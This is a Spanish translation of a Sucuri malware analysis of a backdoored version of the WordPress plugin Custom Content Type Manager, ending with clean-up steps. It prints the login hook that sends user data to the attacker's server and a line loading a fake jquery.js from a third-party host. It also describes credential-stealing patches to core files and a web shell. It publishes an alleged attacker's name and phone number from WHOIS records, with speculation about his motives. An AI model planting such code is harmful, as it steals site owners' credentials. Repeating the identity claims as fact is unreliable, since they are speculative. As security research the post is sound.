Cuando un Plugin de WordPress se Convierte en Malicioso

El año pasado, recontamos una historia sobre el plugin SweetCaptcha de WordPress que inyectaba anuncios y causabamalvertising, problemas en el sitio que usaba su servicio. Cuando se removieron ese plugin deldirectorio oficial de Plugin de WordPress, sus actores han resucitado otra cuenta de WordPress que contiene un plugin que había sido abandonada hace mucho tiempo y hicieron el upload de SweetCaptcha como una “nueva versión” del mismo plugin.

Al final de la saga de SweetCaptcha , hicimos la siguiente advertencia :

Este es un escenario común: los criminales tratan de secuestrar o comprar cuentas legítimas de desarrolladores de aplicaciones o pagan sus desarrolladores para agregar código malicioso a su software, por lo que algunos plugins o aplicaciones benignas pueden llegar a convertirse en maliciosas después de una actualización – la única cosa a proteger este truco es la reputación del autor y la comprobación de seguridad con el proceso de aprobación en el repositorio.

Ahora , vamos a hablar de otro plugin que se ha convertido en malicioso después de una actualización.

Backdoor en el Custom Content Type Manager

Custom Content Type Manager (CCTM) es un plugin relativamente popular que tienetres años desde su desarrollo, 10.000+ instalaciones activas y una clasificación de4.8. El plugin ayuda a crear letras personalizadas de posts y algunos sitios que piensan que su “formato de blog” es muy restrictivo usan el plugin para activar y añadir elementos personalizados a sus posts. Hasta aquí todo bien.

Esta semana hemos limpiado un sitio infectado y encontramos un archivo muy sospechoso auto-update.phpdentro del wp-content/plugins/custom-content-type-manager/.

Es una backdoor que puede descargar archivos del hxxp://wordpresscore .com/plugins/cctm/update/ (el nombre de dominio es definitivamente muy sospechoso) y guarda los archivos en la extensión .php en el directorio del plugin.

Parecía ser una puerta trasera típica que podría ser cargada en cualquier lugar de un servidor comprometido, no sólo en el directorio de este plugin en particular. Sin embargo, decidimos investigar el paquete del plugin original y, para nuestra sorpresa, descubrimos que el archivo existe. Así, también descubrimos que no éramos los únicos que descubrieron este archivo (pero la gente en el foro parecían creer que el archivo sólo era “vulnerable “). Eso realmente precisaba de más investigaciones.

Revisiones del Plugin

Cada plugin de WordPress encontrado en el Directorio Oficial de Plugin se actualiza vía el subversion repository. Con la ayuda del sistema de seguimiento de problemas Trac (Trac issue tracking system), cualquier persona puede utilizar este repositorio para buscar información interesante acerca de quién, cuándo y por qué ha cambiado cualquier versión de cualquier plugin. Por ejemplo, estos son los cambios recientes en el plugin Custom Content Type Manager:

Uno de los últimos cambios recientes ha agregado el archivo auto-update.php. Esto se llevó a cabo el 18 de febrero 2016
“pequeños tweeks hechos por el propietario” mensaje original de “wooranker“.

Nuevo Dueño del Plugin

Parece que el plugin cambió de manos. De hecho, en la imagen anterior, se puede ver que hace dos semanas, el plugin sigue siendo actualizado por “fireproofsocks“. Una de sus últimas modificaciones fue “Añadir wooranker al readme.”  Sólo después de este evento el wooranker ha actualizado el plugin.

¿Fue un cambio de propietarios legítimo? Tal vez. Todo lo que sabemos es que el plugin no se había actualizado hacía 10 meses. Tal vez su creador había perdido interés en él y aceptado una oferta de wooranker. Sin embargo, teniendo en cuenta la actualización del plugin malicioso y el hecho de que fireproofsocks estaba desactivadohabía más de medio año, hemos suspechado que wooranker podría haber hackeado la cuenta del fireproofsocks y se añadido como propietario.

Además , el 5 de febrero de 2016, wooranker también ha sido agregado como propietario al plugin Postie. Hubo muchos cambios legítimos en el plugin Postie desde esa fecha. Todo enviado por su autor original – WayneAllen. Por lo tanto, en este caso, el nuevo propietario se ha añadido con el consentimiento del autor original. Intrigante , ¿no lo es? Tengo una teoría al respecto, pero antes de compartirla con ustedes, voy a hablar acerca de la actualización del plugin malicioso CCTM y ver cómo wooranker ha usado este plugin para hackear sitios web.

Otros Cambios Maliciosos

Trac también muestra esta actualización interesante del plugin (19 de febrero, el último cambio). Había agregado el archivo includes/CCTM_Communicator.php y insertado este nuevo código en index.php.

// Send plugin information when user login
function _wp_login_eventhandler($user_login, $user) {
require_once('includes/CCTM_Communicator.php');
$_objCCTMCom = new CCTM_Communicator();
$_objCCTMCom->addInfo(array($user_login, $user));
$_objCCTMCom->send_info();
}
add_action('wp_login', '_wp_login_eventhandler', 10, 2);

Este código envía información sobre el sitio web y el usuario al servidor de wooranker (wordpresscore .com) cada vez que alguien inicia sesión en WordPress. Incluso si la información del usuario no contiene la contraseña del usuario en texto plano, es suficiente para compilar una lista de sitios web que contengan el plugin CCTM instalado como puerta trasera. Información similar también se envía cuando se activa el plugin.

Escenario de Ataque

Usando los registros de acceso del sitio web comprometido, hemos logrado reconstruir todo el ataque.

Toc-Toc

El 28 de febrero, alguién de 104.131.27.120 (Digital Ocean) intentó usar un script Python (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“) para iniciar sesión en WordPress.

La dirección del sitio web aparentemente se obtuvo a través de la nueva
feature CCTM_Communicator.

Probablemente el atacante trató de usar el nombre de usuario admin robado junto con algunas contraseñas comunes. Estos intentos fueron en vano, ya que este sitio web estaba usando un plugin que cambia la URL de inicio de sesión.

Haciendo Upload de Más Puertas Traseras

Un día más tarde (29 de febrero), el atacante usó una puerta trasera auto-update.php. Esto le ayudó a hacer upload del archivo c.php en el directorio del plugin. El único propósito del nuevo c.php era crear un attack shell wp-options.phpmás sofisticado en el directorio raíz del sitio. Una vez que se creó el wp-options.php, el c.php se removió automaticamente.

Después, el wooranker usó el wp-options.php para “parchear” tres archivos del núcleo de WordPress y crear un administrador de usuario registrado con el nombre de
“support” y la dirección de correo electrónico “support@wordpresscore .com”

“Parcheando” WordPress

CCTM_Communicator realmente robar información del usuario, pero no roba las contraseñas de usuario. Para resolver este problema, el wp-options.php ha hecho el “parche” de tres archivos principales que trabajan con las contraseñas de usuario en texto simple:

• wp-login.php – el parche envía las credenciales de un usuario administrador acreditado para hxxp://wordpresscore .com/in/login/index.php
• wp-admin/user-new.php – roba las credenciales de los usuarios recién creados y los envía al hxxp://wordpresscore .com/in/add-user/index.php
• wp-admin/user-edit.php – roba credenciales cuando alguien cambia la contraseña y la envía al hxxp://wordpresscore .com/in/pass-change/index.php

Y en caso de inactividad del usuario, este script también crea un usuario
admin “support/ support@wordpresscore .com“ extra.

Basicamente, las nuevas funciones de la versión 0.9.8.8 del plugin Custom Content Type Manager son:

• proporcionar una puerta trasera al sitio web
• robar las credenciales de los usuarios del sitio web.

Ninguna otra fijación de características/bugs se han identificado, por lo que es difícil saber cómo eso ha logrado salir de una revisión del Directorio de Plugins.

DonutJS

También había un cambio más pequeño. Lo primero que el wooranker ha cambiado después de la propiedad del plugin fue: ha agregado algunos donutjs enincludes/CCTM.php.

wp_enqueue_script('donutjs', '//donutjs.com/jquery.js' );

Esto parece ser simplemente otra biblioteca de JavaScript, ¿verdad? Muchos plugins las hacen. Sin embargo, hay algo muy sospechoso al respecto:

1. ¿Por qué un plugin añadiría el script jquery.js? WordPress ya lo hace por defecto.
2. Además, para incluir una secuencia de comandos desde un sitio web de terceros que no parecen tener ninguna relación con jQuery o con CDNs conocidos de alojamiento de scripts del jQuery. Esto es, en la mayoría de los casos, la evidencia de un script jquery falso malicioso.
3.  ¿Que és donutjs?

En serio, ¿alguna vez ha oído hablar de DonutJS? Hay muy pocos resultados cuando se busca este nombre en Google. El resultado más significativo es el proyecto Github de una biblioteca de JS practicamente desconocida (2 espectadores y ningún contribuyente). Una biblioteca de JS que constrói tabelas de donut, ese resultado es de hace 3 años. Hay menos resultados para [“donutjs.com”] (34), en la mayoría de los casos, se ve los servicios en línea que proporcionan información a cualquier dominio de aplicación (clasificaciones, palabras clave, WHOIS – el dominio fue registrado hace 6 meses).

donutjs .com parece realmente ofrecer algunas bibliotecas JavaScript:

Donut JS funciona en todas las plataformas, es rápido y ligero
hecho para desarrollar aplicaciones JavaScript increíbles y potentes.

Donut JS vs Vanilla JS

Pero si se lee con cuidado, usted sabrá que es un fraude.

• El código Donut JS en los cuadros comparativos es puramente el vanilla JavaScript
• Documentación y enlaces a los libros para DonutJS llevaron a fuentes genéricas de JavaScript de terceros.
• El botón de descarga no funciona
• Y, por supuesto, lo que se escribe en el sitio web hizo que me muera de risa:

Donut JS ya se ha utilizado en más sitios web que jQuery, Prototype JS, MooTools, YUI, e Google Web Toolkit – juntos.

Divertido, ¿verdad? debe ser divertido, porque el donutjs .comen realidad, es una copia ligeramente modificada del sitio de Eric Wastl vanilla-js.com cuando compara el vanilla JavaScript a los frameworks populares.

Tracking En Lugar de jQuery

Ok, ahora sabemos que donutjs .com no tiene relación con las bibliotecas JS reales. Así ¿por qué wooranker ha incluido el script donutjs .com/jquery.js? Realmente no es jQuery. Sigue el resultado de esa URL:

Es un script que hace referencia a hxxps://donutjs .com/jquery-js.php.

¿Por qué alguien desearía estas referencias? La respuesta es que son de utilidad para alguien que inyecta este script en sitios web vulnerables – las referencias les proporcionarán direcciones de sitios web que pueden hackear.

Entonces, el script donutjs es una copia de seguridad para el módulo espía enCCTM_Communicator que sólo funciona cuando alguien inicia sesión en WordPress o activa el plugin.

Wooranker + WordPresscore + Donutjs = …

Si lo que está arriba es cierto, el wooranker debe controlar donutjs. com. Pues bien, parece que este es el caso. ¿Como saber? La cosa es que, a diferencia de otros hackers, este individuo no se esfuerza demasiado (o en absoluto) para ocultar su identidad.

Vamos a empezar con WHOIS:

wordpresscore .com

Creation Date: 2015-11-23

Registrant Name: Vishnudath Mangilipudi
Admin State/Province: Andhra Pradesh
Admin Postal Code: 524201
Admin Country: IN
Admin Phone: +91.8985005295
Name Server: NS1.DIGITALOCEAN.COM
Name Server: NS2.DIGITALOCEAN.COM
Name Server: NS3.DIGITALOCEAN.COM

donutjs .com

Registrant Name: vishnudath
Registrant Country: IN
Registrant Phone: +91.8985005295

trimtoroot .com

104.131.98.166 – United States New York City Digital Ocean Inc.

El script wp-options.phpcontiene referencias a “trimtoroot .com” que solía ser el servidor command & control antes del woordpresscore .com.

Registrant Name: Vishnudath Mangilipudi
Registrant Organization:
Name Server: NS1.DIGITALOCEAN.COM
Name Server: NS2.DIGITALOCEAN.COM
Name Server: NS3.DIGITALOCEAN.COM

Como se puede ver, todos estos dominios fueron registrados por Vishnudath de Andhra Pradesh en India.

Mantenemos la búsqueda y descubrimos un perfil de un diseñador freelancer“Vishnudath M” de India com el apodo wooranker. ¡Bingo!

Digital Ocean

También vimos una gran conexión con la red Océano Digital. Algunos sitios web, tales como
 trimtoroot .com se quedan allí, otros dominios alojan sus nombres de servidores allí. Puertas traseras en el plugin Custom Content Type Manager también se accederon desde la red Digital Ocean (104.131.27.120). Digital Ocean es más una opción para desarrolladores, no para los hackers.

Freelancer va al lado oscuro de la Fuerza

Ya sabemos que wooranker es un desarrollador gráfico indiano con experiencia técnica que tiene su propia VPS (droplets) en la red Digital Ocean. ¿Qué más podemos hablar de él?

Él sabe cómo funciona WordPress. Parte del código para actualizar el plugin se ve muy inteligente y utiliza la API de WordPress de forma creativa.

Probablemente, también trabaja como desarrollador independiente de WordPress y eso debe explicar por qué el autor del segundo plugin Postie añadió wooranker como el nombre del propietario del plugin (después voy a compartir mis ideas acerca de eso).

Lo más probable es que también daba soporte/mantenimiento a algunos sitios de WordPress. En el ataque shell wp-options.php en lo que se ha hecho el upload, he encontrado algunas características que no tienen relación con la actividad maliciosa.

Por ejemplo, hay una opción para instalar estos tres plugins de seguridad populares:

• Theme Authenticity Checker (TAC)
• Brute Force Login Protection
• sí, nuestro Sucuri Security

También puede realizar copias de seguridad de archivos e incluso actualizar WordPress.

Parece que el plugin había sido creado como una herramienta para mantener sitios web de WordPress, y actualizarlos, limpiar sus hacks y protegerlos.

Tal vez él estaba viviendo de apuestas buscando este tipo de trabajo en muchos sitios web autónomos de comercialización. No es el trabajo más rentable del mundo. A medida que aprendía más y veía más y más sitios web infectados y vulnerables, probablemente le preguntó si tendría más posibilidades de ganar dinero en el otro lado…
El dominio wordpresscore .com se registró en noviembre con intenciones maliciosas.

Y después de eso, el propietario del plugin Postie se lo añadió como un autor, aprendió cómo funcionaba el directorio de plugins y vio sus debilidades. Con un poco de suerte, ha logrado adivinar las credenciales de una cuenta de un plugin abandonado, ha agregado su propia cuenta wooranker a él y ha publicado la nueva versión del plugin con puertas traseras, lo que concluye su ingreso en el lado oscuro de la fuerza.

Por supuesto, todo esto no son más que mis especulaciones sobre la historia de wooranker. Vishnudath puede ser simplemente un invento creado para ocultar la identidad real del hacker.

En este punto, todavía no está claro lo que quería hacer con todos esos sitios web hackeados, pero el principio no deja ninguna duda de que no era algo benigno. Desde la etimología del nombre de usuario wooranker, creo que era algo acerca de SEO de black hat.

¿En quién podemos confiar?

Esta historia nos lleva a preguntas importantes:

1. ¿Cómo saber si podemos confiar en los plugins descargados plugins del Directorio Oficial de Plugins de WordPress? Por supuesto, hay un proceso de verificación, pero no puede detectar todas las puertas traseras y nuevos tipos de malware. Con la enorme cantidad de plugins y actualizaciones, no es posible hacerlo. Sin revisar el código del plugin y sus actualizaciones, es necesario confiar en el autor del plugin. ¿Cuántos autores de plugins usted conoce? ¿Y en cuántos de ellos tiene confianza? Piense en eso la próxima vez que instalar un nuevo plugin o una actualización ya está instalado en un plugin.
2. ¿En qué medida se puede confiar en los trabajadores independientes que se contrata para hacer trabajos menores de mantenimiento en nuestros sitios web? Usted puede dar acceso completo a una persona que también trabaja para los “chicos malos”. ¿Usted hace copias de seguridad antes de contratar a los trabajadores independientes? ¿Cambia todas sus contraseñas y busca puertas traseras una vez que el trabajo está terminado?

Mitigación

Si usted es uno de los desafortunados propietarios de sitios web que han hecho una actualización del plugin Custom Content Type Manager a la versión 0.9.8.8 o recientemente instalados, siga los pasos que debe tomar (en ese orden).

1. Desactive el plugin Custom Content Type Manager.
2. Busque coherencia en todos los archivos del núcleo de WordPress. Se puede instalar WordPress de nuevo. Al menos se aseguran de que los tres archivos a continuación no se han modificado (Para WP 4.4.2 se puede encontrar los archivos originales aquí):
   1. ./wp-login.php
   2. ./wp-admin/user-edit.php
   3. ./wp-admin/user-new.php
3. Ahora que se ha eliminado las credenciales que roban el código en los pasos anteriores, cambie las contraseñas de todos los usuarios de WordPress.
4. No se olvide de eliminar los usuarios que no reconoce. Especialmente, que contienen el correo electrónico support@wordpresscore .com.
5. Ahora, remueva el wp-options.php en el directorio central.
6. Remueva el plugin Custom Content Type Manager. Si realmente lo necesita, obtenga su última versión legítima 0.9.8.6 aquí y desactivar las actualizaciones automáticas del plugin hasta que las versiones maliciosas de la se retiren del Directorio de Plugins. Asimismo, no instale versiones anteriores del CCTM más antiguas que la 0.9.8.6. Tienen una conocida falla de seguridad y vemos los hackers Verificando los sitios web para buscar estas vulnerabilidades (junto con otras vulnerabilidades).
7. También es posible que desee comprobar todos los demás archivos y la la base de datos para buscar el “wordpresscore”.

Como nuestro caso real muestra, los plugins pueden cambiar las URL de inicio de sesión de WordPress. No utilizan ataques de fuerza bruta, pero eso ayuda cuando los verdaderos hackers roban credenciales de admins o crean admins falsos. Restringir el acceso al área de administración es también una buena idea.

Fuente:https://blog.sucuri.net